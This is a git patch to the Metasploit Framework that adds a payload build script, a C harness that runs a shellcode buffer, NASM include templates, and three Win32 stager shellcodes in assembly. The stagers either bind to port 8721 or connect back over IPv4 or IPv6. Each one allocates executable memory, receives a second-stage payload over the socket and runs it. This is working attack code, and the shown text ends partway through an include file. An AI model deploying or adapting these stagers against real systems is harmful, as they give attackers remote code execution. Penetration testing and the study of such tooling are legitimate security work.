From 7d2bb9536a5d3fa2c4493ca9e625946fbb059d90 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 22 Aug 2008 18:45:33 +0000 Subject: [PATCH] Updated README, include the templates and other src git-svn-id: file:///home/svn/framework3/trunk@5637 4d416f70-5f16-0410-b530-b9f4589650da --- external/source/shellcode/windows/README | 6 +- external/source/shellcode/windows/build.sh | 173 + .../shellcode/windows/stager_bind_tcp_nx.asm | 203 + .../windows/stager_reverse_ipv6_tcp_nx.asm | 255 + .../windows/stager_reverse_tcp_nx.asm | 203 + .../shellcode/windows/templates/inc/README | 3 + .../shellcode/windows/templates/inc/byte.inc | 1109 ++ .../windows/templates/inc/function.inc | 309 + .../windows/templates/inc/language.inc | 328 + .../shellcode/windows/templates/inc/nasm.inc | 54 + .../shellcode/windows/templates/inc/pe.asm | 112 + .../shellcode/windows/templates/inc/pe.inc | 654 + .../shellcode/windows/templates/inc/win32.inc | 55 + .../windows/templates/inc/win32dll.inc | 390 + .../windows/templates/inc/win32n.inc | 12039 ++++++++++++++++ .../windows/templates/linux_template.asm | 3 + .../windows/templates/win32_template.asm | 71 + 17 files changed, 15964 insertions(+), 3 deletions(-) create mode 100755 external/source/shellcode/windows/build.sh create mode 100644 external/source/shellcode/windows/stager_bind_tcp_nx.asm create mode 100644 external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm create mode 100644 external/source/shellcode/windows/stager_reverse_tcp_nx.asm create mode 100644 external/source/shellcode/windows/templates/inc/README create mode 100644 external/source/shellcode/windows/templates/inc/byte.inc create mode 100644 external/source/shellcode/windows/templates/inc/function.inc create mode 100644 external/source/shellcode/windows/templates/inc/language.inc create mode 100644 external/source/shellcode/windows/templates/inc/nasm.inc create mode 100644 external/source/shellcode/windows/templates/inc/pe.asm create mode 100644 external/source/shellcode/windows/templates/inc/pe.inc create mode 100644 external/source/shellcode/windows/templates/inc/win32.inc create mode 100644 external/source/shellcode/windows/templates/inc/win32dll.inc create mode 100644 external/source/shellcode/windows/templates/inc/win32n.inc create mode 100644 external/source/shellcode/windows/templates/linux_template.asm create mode 100644 external/source/shellcode/windows/templates/win32_template.asm diff --git a/external/source/shellcode/windows/README b/external/source/shellcode/windows/README index c5e14b3a67..cbe76e8b42 100644 --- a/external/source/shellcode/windows/README +++ b/external/source/shellcode/windows/README @@ -1,7 +1,7 @@ This directory contains the win32 payload development environment used for creating the payloads in version 3 of the Metasploit Framework. -The 'nasm' executable must be in your path to use the included build tool. +The 'nasm' executable must be in your path to use the included build.sh tool. The included 'build' script automatically creates a number of file types each time it used to compile a payload. These file types are: @@ -13,6 +13,6 @@ each time it used to compile a payload. These file types are: The PE executable templates were developed by 'rix' and used with permission. -To use this script, simply run ./build , where the name +To use this script, simply run ./build.sh , where the name does not include the ".asm" suffix. To build win32_stage_api.asm, the -command line would be "./build win32_stage_api". +command line would be "./build.sh win32_stage_api". diff --git a/external/source/shellcode/windows/build.sh b/external/source/shellcode/windows/build.sh new file mode 100755 index 0000000000..d38fcaa243 --- /dev/null +++ b/external/source/shellcode/windows/build.sh @@ -0,0 +1,173 @@ +#!/usr/bin/perl +############### + +## +# Name: build +# Author: H D Moore +# Description: Command-line tool for building/extracting asm payloads +# License: GPL / Perl Artistic +## + + +my $name = shift(); + +if (! $name || $name =~ /\./) { print STDERR "Usage: $0 \n"; exit(0); } + +if ($name eq 'clean') { + system("rm -f *.bin *.exe *.c *.elf"); + exit(0); +} + + +# Compile the asm +unlink("$name.bin"); +system("nasm -f bin -O3 -o $name.bin $name.asm"); + +if (! -f "$name.bin") { + exit(0); +} + +# Load binary +my $bindata; +open(X, "<$name.bin") || exit(0); +$bindata = join('',); +close(X); + +print "# Length: " . length($bindata) . " bytes\n"; + + +# Print out common offsets into the payload data +my $suffix; +my $port = index($bindata, pack("n", 8721)); +if ($port != -1) { + print "# Port: $port\n"; +} + +my $host = index($bindata, gethostbyname("127.0.0.1")); +if ($host != -1) { + print "# Host: $host\n"; +} + +my $psize = index($bindata, pack("L", 0x12345678)); +if ($psize != -1) { + print "# Size: $psize\n"; +} + +my $pstart = index($bindata, pack("L", 0x13370000)); +if ($pstart != -1) { + print "# Start: $pstart\n"; +} + +my $pstart = index($bindata, pack("L", 0x11223344)); +if ($pstart != -1) { + print "# Alloc: $pstart\n"; +} + +my $pstart = index($bindata, pack("L", 0x73e2d87e)); +if ($pstart != -1) { + print "# ExitProcess: $pstart\n"; +} + +my $pstart = index($bindata, pack("L", 0x4cf079fa)); +if ($pstart != -1) { + print "# PayloadLen: $pstart\n"; +} + +my $pstart = index($bindata, "\x8d\x77\x15"); +if ($pstart != -1) { + $pstart+=2; + print "# FileStart: $pstart\n"; +} + +my $pstart = index($bindata, "\x88\x4f\x1a"); +if ($pstart != -1) { + $pstart+=2; + print "# FileEnd: $pstart\n"; +} + +my $pstart = index($bindata, "http"); +if ($pstart != -1) { + print "# URL Start: $pstart\n"; +} + + +$x = BufferPerl($bindata); +print $x; + +$x = BufferC($bindata); +my $cfile; +while() { $cfile .= $_; } + +$cfile =~ s/::SHELLCODE::/$x/g; + +open(C, ">$name.c"); +print C $cfile; +close (C); + +# Build PE +open (X, ">templates/payload.bin") || die "payload.bin: $!"; +print X $bindata; +close (X); + +chdir("templates") || die "chdir(templates): $!"; +unlink("../$name.exe"); +system("nasm -I inc/ -f bin -o ../$name.exe win32_template.asm"); + +# Build ELF +unlink("linux_template.o"); +system("nasm -f elf -o linux_template.o linux_template.asm"); +if (-f "linux_template.o") +{ + system("ld -o ../$name.elf linux_template.o"); + unlink("linux_template.o"); +} + +unlink("payload.bin"); +system("chmod 755 *.exe *.elf"); + +sub BufferPerl +{ + my ($data, $width) = @_; + my ($res, $count); + + if (! $data) { return } + if (! $width) { $width = 16 } + + $res = '"'; + + $count = 0; + foreach my $char (split(//, $data)) + { + if ($count == $width) + { + $res .= '".' . "\n" . '"'; + $count = 0; + } + $res .= sprintf("\\x%.2x", ord($char)); + $count++; + } + if ($count) { $res .= '";' . "\n"; } + return $res; +} + +sub BufferC +{ + my ($data, $width) = @_; + my $res = BufferPerl($data, $width); + if (! $res) { return } + + $res =~ s/\.//g; + return $res; +} + +__DATA__ + +char code[] = +::SHELLCODE:: + +int main(int argc, char **argv) +{ + int (*funct)(); + funct = (int (*)()) code; + (int)(*funct)(); +} diff --git a/external/source/shellcode/windows/stager_bind_tcp_nx.asm b/external/source/shellcode/windows/stager_bind_tcp_nx.asm new file mode 100644 index 0000000000..9d9b9f0f67 --- /dev/null +++ b/external/source/shellcode/windows/stager_bind_tcp_nx.asm @@ -0,0 +1,203 @@ +; Title: Win32 API Loader +; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003 +; Author: hdm[at]metasploit.com + +[BITS 32] + +global _start +_start: + + call LKernel32Base + +LGetProcAddress: + push ebx + push ebp + push esi + push edi + mov ebp, [esp + 24] + mov eax, [ebp + 0x3c] + mov edx, [ebp + eax + 120] + add edx, ebp + mov ecx, [edx + 24] + mov ebx, [edx + 32] + add ebx, ebp + +LFnlp: + jecxz LNtfnd + dec ecx + mov esi, [ebx + ecx * 4] + add esi, ebp + xor edi, edi + cld + +LHshlp: + xor eax, eax + lodsb + cmp al, ah + je LFnd + ror edi, 13 + add edi, eax + jmp short LHshlp + +LFnd: + cmp edi, [esp + 20] + jnz LFnlp + mov ebx, [edx + 36] + add ebx, ebp + mov cx, [ebx + 2 * ecx] + mov ebx, [edx + 28] + add ebx, ebp + mov eax, [ebx + 4 * ecx] + add eax, ebp + jmp short LDone + +LNtfnd: + xor eax, eax + +LDone: + pop edi + pop esi + pop ebp + pop ebx + ret 8 + +LKernel32Base: + pop esi + push byte 0x30 + pop ecx + mov ebx, [fs:ecx] + mov ebx, [ebx + 0x0c] + mov ebx, [ebx + 0x1c] + mov ebx, [ebx] + mov ebx, [ebx + 0x08] + + push ebx ; kernel32.dll base + push 0xec0e4e8e ; LoadLibraryA + call esi ; GetProcAddress(kerne32.dll, LoadLibrary) + mov edi, eax + + push ebx ; kernel32.dll base + push 0x91afca54 ; VirtualAlloc + call esi ; GetProcAddress(kerne32.dll, VirtualAlloc) + + ; ebx = kernel32.dll base + ; esi = LGetProcAddress + ; edi = LoadLibraryA + ; eax = VirtualAlloc + +sub esp, 0x100 +push eax ; [ebp + 12] = VirtualAlloc +push edi ; [ebp + 8] = LoadLibraryA +push esi ; [ebp + 4] = LGetProcAddress +push ebx ; [ebp + 0] = kernel32.dll base + +mov ebp, esp +call LLoadWinsock + +%define FN_RECV [ebp + 24] +%define FN_SEND [ebp + 28] +%define FN_ACCEPT [ebp + 32] +%define FN_BIND [ebp + 36] +%define FN_LISTEN [ebp + 40] +%define FN_WSASOCK [ebp + 44] +%define FN_WSASTART [ebp + 48] + +LWSDataSegment: +;======================== +dd 0x190 ; used by wsastartup +dd 0xe71819b6 ; recv [ebp + 24] +dd 0xe97019a4 ; send [ebp + 28] +dd 0x498649e5 ; accept [ebp + 32] +dd 0xc7701aa4 ; bind [ebp + 36] +dd 0xe92eada4 ; listen [ebp + 40] +dd 0xadf509d9 ; WSASocketA [ebp + 44] +dd 0x3bfcedcb ; WSAStartup [ebp + 48] +db "WS2_32", 0x00 +;======================== + +LLoadWinsock: + pop ebx ; save address to data in ebx + lea ecx, [ebx + 32] ; find address of "WS2_32.DLL" + push ecx ; push address of "WS2_32.DLL" + call edi ; call LoadLibraryA("WS2_32.DLL") + mov edi, ebx ; store base of data section in edi + mov ebx, eax ; store base of winsock in ebx + lea esi, [ebp + 20] ; store base of function table + push byte 0x07 ; load five functions by hash + pop ecx ; configure the counter + +Looper: + push ecx ; save the counter + push ebx ; dll handle + push dword [edi + ecx * 4] ; function hash value + call [ebp + 4] ; find the address + pop ecx ; restore the counter + mov [esi + ecx * 4], eax ; stack segment to store addresses + loop Looper + +LWSAStartup: ; WSAStartup (0x101, DATA) + sub esp, [edi] + push esp + push dword [edi] + call FN_WSASTART + xor eax, eax + +LWSASocketA: ; WSASocketA (2,1,0,0,0,0) + push eax + push eax + push eax + push eax + inc eax + push eax + inc eax + push eax + call FN_WSASOCK + mov edi, eax + +LBind: + xor ebx, ebx + push ebx + push ebx + push dword 0x11220002 ; port 8721 + mov eax, esp + push byte 0x10 ; length + push eax + push edi + call FN_BIND + +LListen: + push ebx + push edi + call FN_LISTEN + +LAccept: + push ebx + push esp + push edi + call FN_ACCEPT + mov edi, eax + +LAllocateMemory: ; VirtualAlloc(NULL,size,MEM_COMMIT,PAGE_EXECUTE_READWRITE) + + push byte 0x40 + pop esi + push esi ; PAGE_EXECUTE_READWRITE=0x40 + + shl esi, 6 ; MEM_COMMIT=0x1000 + push esi + + shl esi, 8 ; 1MB + push esi + + push byte 0x00 ; NULL + call [ebp+12] + mov ebx, eax + + +LRecvLength: ; recv(s, buff, 4, 0) + push byte 0x00 ; flags + push 4096 ; length + push ebx ; buffer + push dword edi ; socket + call FN_RECV ; recv() + call ebx diff --git a/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm b/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm new file mode 100644 index 0000000000..6cceded2be --- /dev/null +++ b/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm @@ -0,0 +1,255 @@ +; Title: Windows Reverse Connect Stager (NX, IPv6) +; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003, Windows Vista +; Author: Metasploit LLC + +[BITS 32] + +global _start +_start: + + call LKernel32Base + +LGetProcAddress: + push ebx + push ebp + push esi + push edi + mov ebp, [esp + 24] + mov eax, [ebp + 0x3c] + mov edx, [ebp + eax + 120] + add edx, ebp + mov ecx, [edx + 24] + mov ebx, [edx + 32] + add ebx, ebp + +LFnlp: + jecxz LNtfnd + dec ecx + mov esi, [ebx + ecx * 4] + add esi, ebp + xor edi, edi + cld + +LHshlp: + xor eax, eax + lodsb + cmp al, ah + je LFnd + ror edi, 13 + add edi, eax + jmp short LHshlp + +LFnd: + cmp edi, [esp + 20] + jnz LFnlp + mov ebx, [edx + 36] + add ebx, ebp + mov cx, [ebx + 2 * ecx] + mov ebx, [edx + 28] + add ebx, ebp + mov eax, [ebx + 4 * ecx] + add eax, ebp + jmp short LDone + +LNtfnd: + xor eax, eax + +LDone: + pop edi + pop esi + pop ebp + pop ebx + ret 8 + +LKernel32Base: + pop esi + push byte 0x30 + pop ecx + mov ebx, [fs:ecx] + mov ebx, [ebx + 0x0c] + mov ebx, [ebx + 0x1c] + mov ebx, [ebx] + mov ebx, [ebx + 0x08] + + push ebx ; kernel32.dll base + push dword 0xec0e4e8e ; LoadLibraryA + call esi ; GetProcAddress(kerne32.dll, LoadLibrary) + mov edi, eax + + push ebx ; kernel32.dll base + push dword 0x91afca54 ; VirtualAlloc + call esi ; GetProcAddress(kerne32.dll, VirtualAlloc) + + ; ebx = kernel32.dll base + ; esi = LGetProcAddress + ; edi = LoadLibraryA + ; eax = VirtualAlloc + +LBootWinsock: + sub esp, 0x100 + push eax ; [ebp + 12] = VirtualAlloc + push edi ; [ebp + 8] = LoadLibraryA + push esi ; [ebp + 4] = LGetProcAddress + push ebx ; [ebp + 0] = kernel32.dll base + + mov ebp, esp + call LLoadWinsock + + %define FN_RECV [ebp + 24] + %define FN_SEND [ebp + 28] + %define FN_CONNECT [ebp + 32] + %define FN_WSASOCK [ebp + 36] + %define FN_WSASTART [ebp + 40] + + LWSDataSegment: + ;======================== + dd 0x190 ; used by wsastartup + dd 0xe71819b6 ; recv [ebp + 24] + dd 0xe97019a4 ; send [ebp + 28] + dd 0x60aaf9ec ; connect [ebp + 32] + dd 0xadf509d9 ; WSASocketA [ebp + 36] + dd 0x3bfcedcb ; WSAStartup [ebp + 40] + db "WS2_32", 0x00 + ;======================== + +LLoadWinsock: + pop ebx ; save address to data in ebx + lea ecx, [ebx + 24] ; find address of "WS2_32.DLL" + push ecx ; push address of "WS2_32.DLL" + call edi ; call LoadLibraryA("WS2_32.DLL") + mov edi, ebx ; store base of data section in edi + mov ebx, eax ; store base of winsock in ebx + lea esi, [ebp + 20] ; store base of function table + push byte 0x05 ; load five functions by hash + pop ecx ; configure the counter + +Looper: + push ecx ; save the counter + push ebx ; dll handle + push dword [edi + ecx * 4] ; function hash value + call [ebp + 4] ; find the address + pop ecx ; restore the counter + mov [esi + ecx * 4], eax ; stack segment to store addresses + loop Looper + +LWSAStartup: ; WSAStartup (0x0202, DATA) + sub esp, [edi] + push esp + push dword 0x0202 + call FN_WSASTART + xor eax, eax + +LWSASocketA: ; WSASocketA (23,1,6,0,0,0) + ; dwFlags + push eax + + ; RESERVED + push eax + + ; PROTOCOL INFO + push eax + + ; PROTOCOL: IPPROTO_TCP + push byte 6 + + ; TYPE: SOCK_STREAM + push byte 1 + + ; FAMILY: AF_INET6 + push byte 23 + + ; WSASocket() + call FN_WSASOCK + mov edi, eax + + ; [ebp + 0] = kernel32.dll base + ; [ebp + 4] = LGetProcAddress + ; [ebp + 8] = LoadLibraryA + ; [ebp + 12] = VirtualAlloc + ; [ebp + 24] = recv + ; [ebp + 28] = send + ; [ebp + 32] = accept + ; [ebp + 36] = bind + ; [ebp + 40] = connect + ; [ebp + 44] = WSASocketA + ; [ebp + 48] = WSAStartup + ; [ebp + 52] = Payload Length + +LConnect: + call LGotAddress + +LGetAddress: + +; struct sockaddr_in6 { +; short sin6_family; +; u_short sin6_port; +; u_long sin6_flowinfo; +; struct in6_addr sin6_addr; +; u_long sin6_scope_id; +;} + + ; sin6_family + db 0x17 + db 0x00 + + ; sin6_port + db 0xff + db 0xff + + dd 0x00000000 ; sin6_flowinfo + + ; fe80000000000000021b63fffe98bf36 + db 0xfe + db 0x80 + db 0x00 + db 0x00 + db 0x00 + db 0x00 + db 0x00 + db 0x00 + db 0x02 + db 0x1b + db 0x63 + db 0xff + db 0xfe + db 0x98 + db 0xbf + db 0x36 + + dd 0x00000000 ; sin6_scope_id + +LGotAddress: + pop ecx + push byte 28 ; address length + push ecx + push dword edi + call dword FN_CONNECT + + ; reconnect on failure + ; test eax, eax + ; jne short LConnect + +LAllocateMemory: ; VirtualAlloc(NULL,size,MEM_COMMIT,PAGE_EXECUTE_READWRITE) + + push byte 0x40 + pop esi + push esi ; PAGE_EXECUTE_READWRITE=0x40 + + shl esi, 6 ; MEM_COMMIT=0x1000 + push esi + + shl esi, 8 ; 1MB + push esi + + push byte 0x00 ; NULL + call [ebp+12] + mov ebx, eax + +LRecvLength: ; recv(s, buff, 4, 0) + push byte 0x00 ; flags + push esi ; length + push ebx ; buffer + push dword edi ; socket + call FN_RECV ; recv() + call ebx + diff --git a/external/source/shellcode/windows/stager_reverse_tcp_nx.asm b/external/source/shellcode/windows/stager_reverse_tcp_nx.asm new file mode 100644 index 0000000000..d876003e30 --- /dev/null +++ b/external/source/shellcode/windows/stager_reverse_tcp_nx.asm @@ -0,0 +1,203 @@ +; Title: Win32 API Loader +; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003, Windows Vista, +; Author: hdm[at]metasploit.com + +[BITS 32] + +global _start +_start: + + call LKernel32Base + +LGetProcAddress: + push ebx + push ebp + push esi + push edi + mov ebp, [esp + 24] + mov eax, [ebp + 0x3c] + mov edx, [ebp + eax + 120] + add edx, ebp + mov ecx, [edx + 24] + mov ebx, [edx + 32] + add ebx, ebp + +LFnlp: + jecxz LNtfnd + dec ecx + mov esi, [ebx + ecx * 4] + add esi, ebp + xor edi, edi + cld + +LHshlp: + xor eax, eax + lodsb + cmp al, ah + je LFnd + ror edi, 13 + add edi, eax + jmp short LHshlp + +LFnd: + cmp edi, [esp + 20] + jnz LFnlp + mov ebx, [edx + 36] + add ebx, ebp + mov cx, [ebx + 2 * ecx] + mov ebx, [edx + 28] + add ebx, ebp + mov eax, [ebx + 4 * ecx] + add eax, ebp + jmp short LDone + +LNtfnd: + xor eax, eax + +LDone: + pop edi + pop esi + pop ebp + pop ebx + ret 8 + +LKernel32Base: + pop esi + push byte 0x30 + pop ecx + mov ebx, [fs:ecx] + mov ebx, [ebx + 0x0c] + mov ebx, [ebx + 0x1c] + mov ebx, [ebx] + mov ebx, [ebx + 0x08] + + push ebx ; kernel32.dll base + push 0xec0e4e8e ; LoadLibraryA + call esi ; GetProcAddress(kerne32.dll, LoadLibrary) + mov edi, eax + + push ebx ; kernel32.dll base + push 0x91afca54 ; VirtualAlloc + call esi ; GetProcAddress(kerne32.dll, VirtualAlloc) + + ; ebx = kernel32.dll base + ; esi = LGetProcAddress + ; edi = LoadLibraryA + ; eax = VirtualAlloc + +LBootWinsock: + sub esp, 0x100 + push eax ; [ebp + 12] = VirtualAlloc + push edi ; [ebp + 8] = LoadLibraryA + push esi ; [ebp + 4] = LGetProcAddress + push ebx ; [ebp + 0] = kernel32.dll base + + mov ebp, esp + call LLoadWinsock + + %define FN_RECV [ebp + 24] + %define FN_SEND [ebp + 28] + %define FN_CONNECT [ebp + 32] + %define FN_WSASOCK [ebp + 36] + %define FN_WSASTART [ebp + 40] + + LWSDataSegment: + ;======================== + dd 0x190 ; used by wsastartup + dd 0xe71819b6 ; recv [ebp + 24] + dd 0xe97019a4 ; send [ebp + 28] + dd 0x60aaf9ec ; connect [ebp + 32] + dd 0xadf509d9 ; WSASocketA [ebp + 36] + dd 0x3bfcedcb ; WSAStartup [ebp + 40] + db "WS2_32", 0x00 + ;======================== + +LLoadWinsock: + pop ebx ; save address to data in ebx + lea ecx, [ebx + 24] ; find address of "WS2_32.DLL" + push ecx ; push address of "WS2_32.DLL" + call edi ; call LoadLibraryA("WS2_32.DLL") + mov edi, ebx ; store base of data section in edi + mov ebx, eax ; store base of winsock in ebx + lea esi, [ebp + 20] ; store base of function table + push byte 0x05 ; load five functions by hash + pop ecx ; configure the counter + +Looper: + push ecx ; save the counter + push ebx ; dll handle + push dword [edi + ecx * 4] ; function hash value + call [ebp + 4] ; find the address + pop ecx ; restore the counter + mov [esi + ecx * 4], eax ; stack segment to store addresses + loop Looper + +LWSAStartup: ; WSAStartup (0x101, DATA) + sub esp, [edi] + push esp + push dword [edi] + call FN_WSASTART + xor eax, eax + +LWSASocketA: ; WSASocketA (2,1,0,0,0,0) + push eax + push eax + push eax + push eax + inc eax + push eax + inc eax + push eax + call FN_WSASOCK + mov edi, eax + + ; [ebp + 0] = kernel32.dll base + ; [ebp + 4] = LGetProcAddress + ; [ebp + 8] = LoadLibraryA + ; [ebp + 12] = VirtualAlloc + ; [ebp + 24] = recv + ; [ebp + 28] = send + ; [ebp + 32] = accept + ; [ebp + 36] = bind + ; [ebp + 40] = connect + ; [ebp + 44] = WSASocketA + ; [ebp + 48] = WSAStartup + ; [ebp + 52] = Payload Length + +LConnect: + push 0x0100007f ; host: 127.0.0.1 + push 0x11220002 ; port: 8721 + mov ecx, esp + push byte 0x10 + push ecx + push dword edi + call dword FN_CONNECT + + ; reconnect on failure + ; test eax, eax + ; jne short LConnect + +LAllocateMemory: ; VirtualAlloc(NULL,size,MEM_COMMIT,PAGE_EXECUTE_READWRITE) + + push byte 0x40 + pop esi + push esi ; PAGE_EXECUTE_READWRITE=0x40 + + shl esi, 6 ; MEM_COMMIT=0x1000 + push esi + + shl esi, 8 ; 1MB + push esi + + push byte 0x00 ; NULL + call [ebp+12] + mov ebx, eax + +LRecvLength: ; recv(s, buff, 4, 0) + push byte 0x00 ; flags + push esi ; length + push ebx ; buffer + push dword edi ; socket + call FN_RECV ; recv() + call ebx + diff --git a/external/source/shellcode/windows/templates/inc/README b/external/source/shellcode/windows/templates/inc/README new file mode 100644 index 0000000000..2dcff8467a --- /dev/null +++ b/external/source/shellcode/windows/templates/inc/README @@ -0,0 +1,3 @@ +These include files were pulled from rix's site: + + http://www.devhell.org/~rix/ diff --git a/external/source/shellcode/windows/templates/inc/byte.inc b/external/source/shellcode/windows/templates/inc/byte.inc new file mode 100644 index 0000000000..af483f689e --- /dev/null +++ b/external/source/shellcode/windows/templates/inc/byte.inc @@ -0,0 +1,1109 @@ +; MACROS FOR BYTE CODING v0.9a +; ============================ + + +;POUR EVITER DES 00 OU DES ERREURS: +;utiliser les macros si nécessaire (pas si tt opérandes sont des registres) +;vérifier Mov [*+offset=0],* +;vérifier Jmp/Call offset multiple de 256,+1 +;le byte code d'une macro peut varier +;le byte code d'une fonction ne varie pas +;bytes critiques:00h,0Ah,0Dh,' ' +;instructions critiques:adc,and(=' '),enter,esc,imul,ret,sbb,test,or(=0Ah|0Dh) +;éviter [byte r+offset>080h] + + +;BYTE.INC_NO_00 => ne pas utiliser de bytes 00 +;BYTE.INC_FILL_BYTE = 00 = byte de remplissage +;BYTE.INC_FILL_OFFSET = 00 = nombre bytes à rajouter dans les sauts critiques +;BYTE.INC_TEMPORARY_REGISTER = eax|ebx|ecx|edx|NULL (=>push eax|push edx) +;BYTE.INC_LONG_JUMP => sauts longs par défaut +;BYTE.INC_JUMP_DIRECTION = -1 = direction par défaut + + +;Alias nom_alias,adresse +; -> transforme un Jmp/Call alias en jmp/call adresse + +;NotBit0(d) +; -> inverse du bit 0 du dword d +;BitIsNot0(d,n) +; -> 1 si bit n(0..31) du dword d <> 0 +;ByteIsNot00(b) +; -> 1 si byte b <> 00 +;Word(d,n) +; -> word n(0..1) du dword d +;Byte(d,n) +; -> byte n(0..3) du dword d +;DWordContainNo00(d) +; -> 1 si dword d ne contient pas de bytes 00 +;WordContainNo00(w) +; -> 1 si word w ne contient pas de bytes 00 +;DWordByteIsNot00(d,n) +; -> 1 si byte n(0..3) du dword d <> 00 +;DWordByteIs00(d,n) +; -> 1 si byte n(0..3) du dword d = 00 + +;TemporaryBegin dword|word|byte [,+|-,r demandé/r refusé|push] +; <- BYTE.INC_TEMPORARY_REGISTER +; -> Temporary_Ret = registre temporaire alloué +; [esp+Temporary_esp] = ancien [esp] +; ... +;TemporaryEnd + +;FillByte +; <- BYTE.INC_NO_00,BYTE.INC_FILL_BYTE +; -> FillByte_Ret = byte de remplissage +;DbAlign adresse_de_départ,valeur_d'alignement [,byte_de_remplissage] +; <- FillByte +;ResbAlign adresse_de_départ,valeur_d'alignement + +;Mov r,d|w|b|"string" +;MovD [r],d +;MovW [r],w +;MovB [r],b +;<- BYTE.INC_NO_00,BYTE.INC_TEMPORARY_REGISTER,BYTE.INC_FILL_OFFSET + +;Jmp l|d|Alias [,-1|+1] +; <- BYTE.INC_LONG_JUMP +;JX condition_asm,l [,-1|+1] +; <- BYTE.INC_LONG_JUMP +;JnX condition_asm,l [,-1|+1] +; <- BYTE.INC_LONG_JUMP +;Call l|d|Alias [,-1|+1] +;<- BYTE.INC_NO_00,BYTE.INC_TEMPORARY_REGISTER,BYTE.INC_JUMP_DIRECTION, +; BYTE.INC_FILL_OFFSET,Mov + +;Push r|d|"string" +; <- BYTE.INC_NO_00,BYTE.INC_FILL_OFFSET,FillByte,Mov + +;Add r,d +;And r,d +;Cmp r,d +;Or r,d +;Sub r,d +;Xor r,d +;<- Mov + +;================================= General =================================== +%ifndef _BYTE.INC +%define _BYTE.INC + +%include "nasm.inc" + +%macro BYTE.INC 0 + %undef BYTE.INC_NO_00 + %define BYTE.INC_FILL_BYTE 0 + %define BYTE.INC_FILL_OFFSET 0 + %undef BYTE.INC_TEMPORARY_REGISTER + %undef BYTE.INC_LONG_JUMP + %define BYTE.INC_JUMP_DIRECTION -1 +%endmacro + +%macro BYTE.INC~ 0 + %define BYTE.INC_FILL_OFFSET 0 + %undef BYTE.INC_TEMPORARY_REGISTER + %undef BYTE.INC_LONG_JUMP + %define BYTE.INC_JUMP_DIRECTION -1 +%endmacro + +BYTE.INC + +%macro Alias 2 + %define Alias_%1 %2 +%endmacro + +;================================== Logic ==================================== +%define NotBit0(d) ((~d)&01b) +%define BitIsNot0(d,n) ((d>>n)&01b) +%define ByteIsNot00(b) (BitIsNot0(b,7)|BitIsNot0(b,6)|BitIsNot0(b,5)|BitIsNot0(b,4)|BitIsNot0(b,3)|BitIsNot0(b,2)|BitIsNot0(b,1)|BitIsNot0(b,0)) +%define Word(d,n) ((d>>(n*16))&0FFFFh) +%define Byte(d,n) ((d>>(n*8))&0FFh) +%define DWordContainNo00(d) (ByteIsNot00(Byte(d,3))&ByteIsNot00(Byte(d,2))&ByteIsNot00(Byte(d,1))&ByteIsNot00(Byte(d,0))) +%define WordContainNo00(w) (ByteIsNot00(Byte(w,1))&ByteIsNot00(Byte(w,0))) +%define DWordByteIsNot00(d,n) (ByteIsNot00(Byte(d,n))) +%define DWordByteIs00(d,n) (NotBit0(DWordByteIsNot00(d,n))) + +;================================ Internal =================================== +;Operand r [,dword|word|byte] +; -> Operand_Size = dword|word|byte +; Operand_Container = registre dword contenant %1 +; Operand_Unknown si %1 <> r ou %2 +%macro Operand 1-2 + %if %0==1 + %ifidni %1,eax + %define Operand_Size dword + %define Operand_Container eax + %undef Operand_Unknown + %elifidni %1,ebx + %define Operand_Size dword + %define Operand_Container ebx + %undef Operand_Unknown + %elifidni %1,ecx + %define Operand_Size dword + %define Operand_Container ecx + %undef Operand_Unknown + %elifidni %1,edx + %define Operand_Size dword + %define Operand_Container edx + %undef Operand_Unknown + %elifidni %1,esi + %define Operand_Size dword + %define Operand_Container esi + %undef Operand_Unknown + %elifidni %1,edi + %define Operand_Size dword + %define Operand_Container edi + %undef Operand_Unknown + %elifidni %1,esp + %define Operand_Size dword + %define Operand_Container esp + %undef Operand_Unknown + %elifidni %1,ebp + %define Operand_Size dword + %define Operand_Container ebp + %undef Operand_Unknown + %elifidni %1,ax + %define Operand_Size word + %define Operand_Container eax + %undef Operand_Unknown + %elifidni %1,bx + %define Operand_Size word + %define Operand_Container ebx + %undef Operand_Unknown + %elifidni %1,cx + %define Operand_Size word + %define Operand_Container ecx + %undef Operand_Unknown + %elifidni %1,dx + %define Operand_Size word + %define Operand_Container edx + %undef Operand_Unknown + %elifidni %1,si + %define Operand_Size word + %define Operand_Container esi + %undef Operand_Unknown + %elifidni %1,di + %define Operand_Size word + %define Operand_Container edi + %undef Operand_Unknown + %elifidni %1,sp + %define Operand_Size word + %define Operand_Container esp + %undef Operand_Unknown + %elifidni %1,bp + %define Operand_Size word + %define Operand_Container ebp + %undef Operand_Unknown + %elifidni %1,ah + %define Operand_Size byte + %define Operand_Container eax + %undef Operand_Unknown + %elifidni %1,al + %define Operand_Size byte + %define Operand_Container eax + %undef Operand_Unknown + %elifidni %1,bh + %define Operand_Size byte + %define Operand_Container ebx + %undef Operand_Unknown + %elifidni %1,bl + %define Operand_Size byte + %define Operand_Container ebx + %undef Operand_Unknown + %elifidni %1,ch + %define Operand_Size byte + %define Operand_Container ecx + %undef Operand_Unknown + %elifidni %1,cl + %define Operand_Size byte + %define Operand_Container ecx + %undef Operand_Unknown + %elifidni %1,dh + %define Operand_Size byte + %define Operand_Container edx + %undef Operand_Unknown + %elifidni %1,dl + %define Operand_Size byte + %define Operand_Container edx + %undef Operand_Unknown + %else + %undef Operand_Size + %undef Operand_Container + %define Operand_Unknown + %endif + %else + %define Operand_Size %2 + %undef Operand_Container + %define Operand_Unknown + %endif +%endmacro + +;Contained r,dword|word|byte +; -> Contained_Ret = sous-registre de taille %2 du registre %1 +; Contained_L = sous-registre L du registre %1 (?l) +; Contained_H = sous-registre H du registre %1 (?h) +; Contained_W = sous-registre word du registre %1 (?x) +; Contained_D = sous-registre dword du registre %1 (e?x) +%macro Contained 2 + %ifidni %1,eax + %define Contained_D eax + %define Contained_W ax + %define Contained_H ah + %define Contained_L al + %elifidni %1,ebx + %define Contained_D ebx + %define Contained_W bx + %define Contained_H bh + %define Contained_L bl + %elifidni %1,ecx + %define Contained_D ecx + %define Contained_W cx + %define Contained_H ch + %define Contained_L cl + %elifidni %1,edx + %define Contained_D edx + %define Contained_W dx + %define Contained_H dh 